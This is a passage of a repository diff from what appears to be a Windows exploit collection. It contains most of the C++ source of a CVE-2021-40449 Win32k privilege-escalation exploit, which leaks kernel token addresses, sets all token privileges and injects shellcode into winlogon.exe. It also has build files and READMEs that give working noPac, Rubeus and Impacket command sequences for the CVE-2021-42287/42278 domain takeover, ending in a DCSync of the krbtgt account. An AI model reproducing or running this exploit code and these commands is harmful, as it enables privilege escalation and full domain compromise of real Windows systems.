puts("[-] Failed to allocate buffer for pPrinterEnum");
return FALSE;
}
res = EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, (LPBYTE)pPrinterEnum, pcbNeeded, &pcbNeeded, &pcbReturned);
if (res == FALSE || pcbReturned <= 0)
{
puts("[-] Failed to enumerate printers");
return FALSE;
}
// Loop over printers
for (DWORD i = 0; i < pcbReturned; i++)
{
printerInfo = &pPrinterEnum[0];
printf("[*] Using printer: %ws\n", printerInfo->pPrinterName);
// Open printer
res = OpenPrinterW(printerInfo->pPrinterName, &hPrinter, NULL);
if (!res)
{
puts("[-] Failed to open printer");
continue;
}
printf("[+] Opened printer: %ws\n", printerInfo->pPrinterName);
globals::printerName = _wcsdup(printerInfo->pPrinterName);
// Get the printer driver
GetPrinterDriverW(hPrinter, NULL, 2, NULL, 0, &pcbNeeded);
driverInfo = (DRIVER_INFO_2W *)malloc(pcbNeeded);
res = GetPrinterDriverW(hPrinter, NULL, 2, (LPBYTE)driverInfo, pcbNeeded, &pcbNeeded);
if (res == FALSE)
{
printf("[-] Failed to get printer driver\n");
continue;
}
printf("[*] Driver DLL: %ws\n", driverInfo->pDriverPath);
// Load the printer driver into memory
hModule = LoadLibraryExW(driverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
if (hModule == NULL)
{
printf("[-] Failed to load printer driver\n");
continue;
}
// Get printer driver's DrvEnableDriver and DrvDisableDriver
DrvEnableDriver = (DrvEnableDriver_t)GetProcAddress(hModule, "DrvEnableDriver");
DrvDisableDriver = (VoidFunc_t)GetProcAddress(hModule, "DrvDisableDriver");
if (DrvEnableDriver == NULL || DrvDisableDriver == NULL)
{
printf("[-] Failed to get exported functions from driver\n");
continue;
}
// Call DrvEnableDriver to get the printer driver's usermode callback table
res = DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &drvEnableData);
if (res == FALSE)
{
printf("[-] Failed to enable driver\n");
continue;
}
puts("[+] Enabled printer driver");
// Unprotect the driver's usermode callback table, such that we can overwrite entries
res = VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), PAGE_READWRITE, &lpflOldProtect);
if (res == FALSE)
{
puts("[-] Failed to unprotect printer driver's usermode callback table");
continue;
}
// Loop over hooks
for (DWORD i = 0; i < sizeof(driverHooks) / sizeof(DriverHook); i++)
{
// Loop over driver's usermode callback table
for (DWORD n = 0; n < drvEnableData.c; n++)
{
ULONG iFunc = drvEnableData.pdrvfn[n].iFunc;
// Check if hook INDEX matches entry INDEX
if (driverHooks[i].index == iFunc)
{
// Saved original function pointer
globals::origDrvFuncs[iFunc] = (VoidFunc_t)drvEnableData.pdrvfn[n].pfn;
// Overwrite function pointer with hook function pointer
drvEnableData.pdrvfn[n].pfn = (PFN)driverHooks[i].func;
break;
}
}
}
// Disable driver
DrvDisableDriver();
// Restore protections for driver's usermode callback table
VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), lpflOldProtect, &_lpflOldProtect);
return TRUE;
}
return FALSE;
}
DWORD64 GetKernelBase()
{
/* Get kernel base address of ntoskrnl.exe */
DWORD lpcbNeeded;
BOOL res;
DWORD64 *deviceDrivers;
DWORD64 kernelBase;
// Get device drivers will return an array of pointers
// Requires at least medium integrity level
res = EnumDeviceDrivers(NULL, 0, &lpcbNeeded);
deviceDrivers = (DWORD64*)malloc(lpcbNeeded);
res = EnumDeviceDrivers((LPVOID*)deviceDrivers, lpcbNeeded, &lpcbNeeded);
if (res == FALSE) {
return NULL;
}
// First entry matches ntoskrnl.exe
kernelBase = deviceDrivers[0];
free(deviceDrivers);
return kernelBase;
}
DWORD64 GetKernelPointer(HANDLE handle, DWORD type)
{
/* Get kernel address for handle */
PSYSTEM_HANDLE_INFORMATION buffer;
DWORD objTypeNumber, bufferSize;
DWORD64 object;
buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(0x20);
bufferSize = 0x20;
// Query handle information. This will query information for all handles on the system
// Requires at least medium integrity level
NTSTATUS status = QuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, bufferSize, &bufferSize);
if (status == (NTSTATUS)0xC0000004L)
{
// Buffer too small. This is always the case, since we only alloc room 0x20 bytes
// initially, but we're receiving information for all handles on the system.
// But if we don't allocate a buffer initially, it will fail for some reason.
free(buffer);
buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(bufferSize);
status = QuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, bufferSize, &bufferSize);
}
if (buffer == NULL || status != 0)
{
return 0;
}
// Loop over the handles
for (size_t i = 0; i < buffer->NumberOfHandles; i++)
{
objTypeNumber = buffer->Handles[i].ObjectTypeIndex;
// Check if process ID matches current process ID and if object type matches the provided object type
if (buffer->Handles[i].UniqueProcessId == globals::currentProcessId && buffer->Handles[i].ObjectTypeIndex == type)
{
// Check if handle value matches
if (handle == (HANDLE)buffer->Handles[i].HandleValue)
{
// Match. The kernel address will be in `Object`
object = (DWORD64)buffer->Handles[i].Object;
free(buffer);
return object;
}
}
}
puts("[-] Could not find handle");
free(buffer);
return 0;
}
DWORD64 GetProcessTokenAddress() {
/* Get kernel address of current process token */
HANDLE proc, token;
DWORD64 tokenKernelAddress;
// Get handle for current process
proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, globals::currentProcessId);
if (proc == NULL) {
puts("[-] Failed to open current process");
return 0;
}
// Get handle for current process token
if (OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token) == FALSE)
{
puts("[-] Failed to open process token");
return 0;
}
// Get kernel address for current process token handle
for (DWORD i = 0; i < 0x100; i++) {
// Sometimes GetKernelPointer will fail for some reason
// Mostly only on the the iteration
tokenKernelAddress = GetKernelPointer(token, 0x5);
if (tokenKernelAddress != 0) {
break;
}
}
if (tokenKernelAddress == 0) {
puts("[-] Failed to get token kernel address");
return 0;
}
return tokenKernelAddress;
}
DWORD64 CreateForgedBitMapHeader(DWORD64 token)
{
/* Create a forged BitMapHeader on the large pool to be used in RtlSetAllBits */
// Cool trick taken from:
// https://github.com/KaLendsi/CVE-2021-40449-Exploit/blob/main/CVE-2021-40449-x64.cpp#L448
// https://gist.github.com/hugsy/d89c6ee771a4decfdf4f088998d60d19
DWORD dwBufSize, dwOutSize, dwThreadID, dwExpectedSize;
HANDLE hThread;
USHORT dwSize;
LPVOID lpMessageToStore, pBuffer;
UNICODE_STRING target;
HRESULT hRes;
ULONG_PTR StartAddress, EndAddress, ptr;
PBIG_POOL_INFO info;
hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)NULL, 0, CREATE_SUSPENDED, &dwThreadID);
dwSize = 0x1000;
lpMessageToStore = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_READWRITE);
memset(lpMessageToStore, 0x41, 0x20);
// BitMapHeader->SizeOfBitMap
*(DWORD64*)lpMessageToStore = 0x80;
// BitMapHeader->Buffer
*(DWORD64*)((DWORD64)lpMessageToStore + 8) = token;
target = {};
target.Length = dwSize;
target.MaximumLength = 0xffff;
target.Buffer = (PWSTR)lpMessageToStore;
hRes = SetInformationThread(hThread, (THREADINFOCLASS)ThreadNameInformation, &target, 0x10);
dwBufSize = 1024 * 1024;
pBuffer = LocalAlloc(LPTR, dwBufSize);
hRes = QuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemBigPoolInformation, pBuffer, dwBufSize, &dwOutSize);
dwExpectedSize = target.Length + sizeof(UNICODE_STRING);
StartAddress = (ULONG_PTR)pBuffer;
EndAddress = StartAddress + 8 + *((PDWORD)StartAddress) * sizeof(BIG_POOL_INFO);
ptr = StartAddress + 8;
while (ptr < EndAddress)
{
info = (PBIG_POOL_INFO)ptr;
if (strncmp(info->PoolTag, "ThNm", 4) == 0 && dwExpectedSize == info->PoolSize)
{
return (((ULONG_PTR)info->Address) & 0xfffffffffffffff0) + sizeof(UNICODE_STRING);
}
ptr += sizeof(BIG_POOL_INFO);
}
printf("[-] Failed to leak pool address for forged BitMapHeader\n");
return NULL;
}
BOOL Setup() {
DWORD64 kernelBase, tokenKernelAddress, rtlSetAllBitsOffset;
HMODULE kernelModule, ntdllModule;
ntdllModule = LoadLibraryW(L"ntdll.dll");
if (ntdllModule == NULL) {
puts("[-] Failed to load NTDLL");
return FALSE;
}
globals::currentProcessId = GetCurrentProcessId();
SetInformationThread = (NtSetInformationThread_t)GetProcAddress(ntdllModule, "NtSetInformationThread");
QuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(ntdllModule, "NtQuerySystemInformation");
kernelBase = GetKernelBase();
if (kernelBase == NULL) {
puts("[-] Failed to get kernel base");
return FALSE;
}
kernelModule = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
if (kernelModule == NULL) {
puts("[-] Failed to load kernel module");
return FALSE;
}
tokenKernelAddress = GetProcessTokenAddress();
if (tokenKernelAddress == 0) {
puts("[-] Failed to get token kernel address");
return FALSE;
}
rtlSetAllBitsOffset = (DWORD64)GetProcAddress(kernelModule, "RtlSetAllBits");
if (rtlSetAllBitsOffset == NULL) {
puts("[-] Failed to find RtlSetAllBits");
return FALSE;
}
globals::rtlSetAllBits = (DWORD64)kernelBase + rtlSetAllBitsOffset - (DWORD64)kernelModule;
globals::fakeRtlBitMapAddr = CreateForgedBitMapHeader(tokenKernelAddress + 0x40);
if (globals::fakeRtlBitMapAddr == NULL) {
puts("[-] Failed to pool leak address of token");
return FALSE;
}
return SetupUsermodeCallbackHook();
}
VOID InjectToWinlogon()
{
/* Inject `payload` (shellcode) into winlogon.exe */
PROCESSENTRY32 entry;
HANDLE snapshot, proc;
entry.dwSize = sizeof(PROCESSENTRY32);
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
INT pid = -1;
if (Process32First(snapshot, &entry))
{
while (Process32Next(snapshot, &entry))
{
if (wcscmp(entry.szExeFile, L"winlogon.exe") == 0)
{
pid = entry.th32ProcessID;
break;
}
}
}
CloseHandle(snapshot);
if (pid < 0)
{
puts("[-] Could not find winlogon.exe");
return;
}
proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (proc == NULL)
{
puts("[-] Failed to open process. Exploit did probably not work");
return;
}
LPVOID buffer = VirtualAllocEx(proc, NULL, sizeof(payload), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL)
{
printf("[-] Failed to allocate remote memory");
}
if (!WriteProcessMemory(proc, buffer, payload, sizeof(payload), 0))
{
puts("[-] Failed to write to remote memory");
return;
}
HANDLE hthread = CreateRemoteThread(proc, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);
if (hthread == INVALID_HANDLE_VALUE)
{
puts("[-] Failed to create remote thread");
return;
}
}
INT main()
{
BOOL res = FALSE;
res = Setup();
if (res == FALSE) {
puts("[-] Failed to setup exploit");
return 0;
}
// Create new device context for printer with driver's hooked callbacks
globals::hdc = CreateDCW(NULL, globals::printerName, NULL, NULL);
if (globals::hdc == NULL)
{
puts("[-] Failed to create device context");
return -1;
}
// Trigger the vulnerability
// This will internally call `hdcOpenDCW` which will call our usermode callback
// From here we will call ResetDC again to trigger the UAF
globals::shouldTrigger = TRUE;
ResetDC(globals::hdc, NULL);
// Exploit complete
// We should now have all privileges
puts("[*] Spawning remote thread");
InjectToWinlogon();
return 0;
}

View File

@ -0,0 +1,147 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{6a40314b-695b-4b07-a5a8-5b640436a388}</ProjectGuid>
<RootNamespace>CallbackHell</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="CallbackHell.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,22 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="CallbackHell.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

View File

@ -0,0 +1,58 @@
### CVE-2021-40449
#### 描述
Win32k 特权提升漏洞
#### 影响版本
| Product | CPU Architecture | Version | Update | Tested |
| ------------------- | ---------------- | ------- | ------ | -------- |
| Windows 11 | x64/AMD64 | | | &#10005; |
| Windows 10 | x86/x64 | | | |
| Windows 10 | x86/x64 | 1607 | | &#10004; |
| Windows 10 | x86/x64/AMD64 | 1809 | | &#10004; |
| Windows 10 | x86/x64/AMD64 | 1909 | | |
| Windows 10 | x86/x64/AMD64 | 2004 | | |
| Windows 10 | x86/x64/AMD64 | 20H2 | | |
| Windows 10 | x86/x64/AMD64 | 21H1 | | |
| Windows 7 | x86/x64 | | SP1 | |
| Windows 8.1 | x86/x64 | | | |
| Windows Rt 8.1 | | | | |
| Windows Server 2008 | x86/x64 | | SP2 | |
| Windows Server 2008 | x64 | R2 | SP1 | |
| Windows Server 2012 | | | | |
| Windows Server 2012 | | R2 | | |
| Windows Server 2016 | | | | |
| Windows Server 2019 | | | | |
| Windows Server 2022 | | | | |
| Windows Server | | 2004 | | |
| Windows Server | | 20H2 | | |
#### 修复补丁
```
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449
```
#### 利用方式
编译环境
- VS2019V120X64 ReleaseCVE-2021-40449_1607_x64
- VS2019V142X64 ReleaseCallbackHell
> 推荐使用CallbackHell的代码进行提权
测试系统Windows 10 1607 X64演示使用的是CVE-2021-40449_1607_x64文件中的代码进行编译
![image-20210911115757383](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-40449_Windows_10_1607_X64.gif)
#### 参考项目
- [KaLendsi](https://github.com/KaLendsi/CVE-2021-40449-Exploit)
- [ly4k]( https://github.com/ly4k/CallbackHell.git)
#### 分析文章
- [在野定向攻击所用Windows本地提权漏洞复现和分析](https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ)

View File

@ -0,0 +1,58 @@
### CVE-2021-40449
#### Describe
Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-40450, CVE-2021-41357.
#### ImpactVersion
| Product | CPU Architecture | Version | Update | Tested |
| ------------------- | ---------------- | ------- | ------ | -------- |
| Windows 11 | x64/AMD64 | | | &#10005; |
| Windows 10 | x86/x64 | | | |
| Windows 10 | x86/x64 | 1607 | | &#10004; |
| Windows 10 | x86/x64/AMD64 | 1809 | | &#10004; |
| Windows 10 | x86/x64/AMD64 | 1909 | | |
| Windows 10 | x86/x64/AMD64 | 2004 | | |
| Windows 10 | x86/x64/AMD64 | 20H2 | | |
| Windows 10 | x86/x64/AMD64 | 21H1 | | |
| Windows 7 | x86/x64 | | SP1 | |
| Windows 8.1 | x86/x64 | | | |
| Windows Rt 8.1 | | | | |
| Windows Server 2008 | x86/x64 | | SP2 | |
| Windows Server 2008 | x64 | R2 | SP1 | |
| Windows Server 2012 | | | | |
| Windows Server 2012 | | R2 | | |
| Windows Server 2016 | | | | |
| Windows Server 2019 | | | | |
| Windows Server 2022 | | | | |
| Windows Server | | 2004 | | |
| Windows Server | | 20H2 | | |
#### Patch
```
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449
```
#### Utilization
CompilerEnvironment
- VS2019V120X64 ReleaseCVE-2021-40449_1607_x64
- VS2019V142X64 ReleaseCallbackHell
> It is recommended to use the CallbackHell code to be proposed.
Test System Windows 10 1607 X64 (Demo is compiled with code in CVE-2021-40449_1607_X64 file
![image-20210911115757383](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-40449_Windows_10_1607_X64.gif)
#### ProjectSource
- [KaLendsi](https://github.com/KaLendsi/CVE-2021-40449-Exploit)
- [ly4k]( https://github.com/ly4k/CallbackHell.git)
#### Analyze
- [在野定向攻击所用Windows本地提权漏洞复现和分析](https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ)

View File

@ -0,0 +1,29 @@
### CVE-2021-42278
#### 描述
CVE-2021-42287/CVE-2021-42278组合拳能够通过普通用户权限账号拿下Microsoft Windows Active Directory域服务管理员权限账号
#### 影响版本
| Product | CPU Architecture | Version | Update | Tested |
| ------------------- | ---------------- | ------- | ------ | -------- |
| Windows Server 2008 | x86/x64 | | SP2 | |
| Windows Server 2008 | x64 | R2 | SP1 | |
| Windows Server 2012 | | | | &#10004; |
| Windows Server 2012 | | R2 | | |
| Windows Server 2016 | | | | |
| Windows Server 2019 | | | | |
| Windows Server 2022 | | | | |
| Windows Server | | 2004 | | |
| Windows Server | | 20H2 | | |
#### 修复补丁
```
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-42278
```
#### 利用方式
统一写到这个文件中[CVE-2021-42287](../CVE-2021-42287/README.md)

View File

@ -0,0 +1,29 @@
### CVE-2021-42278
#### Describe
The CVE-2021-42287/CVE-2021-42278 combo box can pass the ordinary user authority account to win the Microsoft Windows Active Directory domain service administrator authority account
#### ImpactVersion
| Product | CPU Architecture | Version | Update | Tested |
| ------------------- | ---------------- | ------- | ------ | -------- |
| Windows Server 2008 | x86/x64 | | SP2 | |
| Windows Server 2008 | x64 | R2 | SP1 | |
| Windows Server 2012 | | | | &#10004; |
| Windows Server 2012 | | R2 | | |
| Windows Server 2016 | | | | |
| Windows Server 2019 | | | | |
| Windows Server 2022 | | | | |
| Windows Server | | 2004 | | |
| Windows Server | | 20H2 | | |
#### Patch
```
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-42278
```
#### Utilization
Write uniformly in this file[CVE-2021-42287](../CVE-2021-42287/README.md)

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,148 @@
### CVE-2021-42287
#### 描述
CVE-2021-42287/CVE-2021-42278组合拳能够通过普通用户权限账号拿下Microsoft Windows Active Directory域服务管理员权限账号
#### 影响版本
| Product | CPU Architecture | Version | Update | Tested |
| ------------------- | ---------------- | ------- | ------ | -------- |
| Windows Server 2008 | x86/x64 | | SP2 | |
| Windows Server 2008 | x64 | R2 | SP1 | |
| Windows Server 2012 | | | | &#10004; |
| Windows Server 2012 | | R2 | | |
| Windows Server 2016 | | | | |
| Windows Server 2019 | | | | |
| Windows Server 2022 | | | | |
| Windows Server | | 2004 | | |
| Windows Server | | 20H2 | | |
#### 修复补丁
```
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-42287
```
#### 利用方式
编译环境
- VS2019.NET Framework 4.0AnyCPU Release
> 演示使用的是noPac项目进行
漏洞利用前置条件,以及注意点
- 能够添加机器普通⽤户 MachineAccountQuota默认为10值为0意味着普通⽤户⽆法创建机器账 户,也就⽆法直接利⽤这个漏洞)
<img src="https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-42287_0x01.png" alt="12" style="zoom:50%;" />
- 还有noPac这个工具是模拟域管administrator但是如果域内管理员组中不存在这个⽤户ptt后会报错需要通过`/IMPERSONATE domain_admin_user` 来进行指定管理员,报错如下
![image-20211214141231851](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-42287_0x02.png)
首先获取域中的管理员账号
```powershell
net group "domain admins" /domain
```
获取管理员账号后执行如下命令
```powershell
.\noPac.exe -domain <域名> -user <能添加普通账户的账号> -pass <能添加普通账户的密码> /dc <域控机器> /mAccount <你想添加到域中的账号> /mPassword <你想添加到域中的密码> /service <票据的服务名> /IMPERSONATE <获取到的域管理员账号> /ptt
```
几个参数解释一下票据服务名一般用cifs即可
```
域名cn.ascotbe.test.com
域控机器DC1.cn.ascotbe.test.com
票据的服务名cifs
```
![image-20211214142856348](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-42287_0x03.png)
然后通过执行以下命令来验证
```powershell
#查看票据
klist
#获取C盘文件
dir \\dc\c$
```
![image-20211214143041849](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-42287_0x04.png)
> 使用sam-the-admin项目
没测试,想用可以通过-h来查看命令
> 使用命令行执行
windows
```powershell
# 0. create a computer account
Import-Module .\Powermad.ps1
$password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose
# 1. clear its SPNs
Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose
# 2. rename the computer (computer -> DC)
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose
# 3. obtain a TGT
Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap
# 4. reset the computer name
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose
# 5. obtain a service ticket with S4U2self by presenting the previous TGT
Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]
# 6. DCSync
(mimikatz) lsadump::dcsync /domain:domain.local /kdc:DomainController.domain.local /user:krbtgt
```
linux
```bash
# 0. create a computer account
addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'
# 1. clear its SPNs
addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController
# 2. rename the computer (computer -> DC)
renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'
# 3. obtain a TGT
getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'
# 4. reset the computer name
renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'
# 5. obtain a service ticket with S4U2self by presenting the previous TGT
KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'
# 6. DCSync by presenting the service ticket
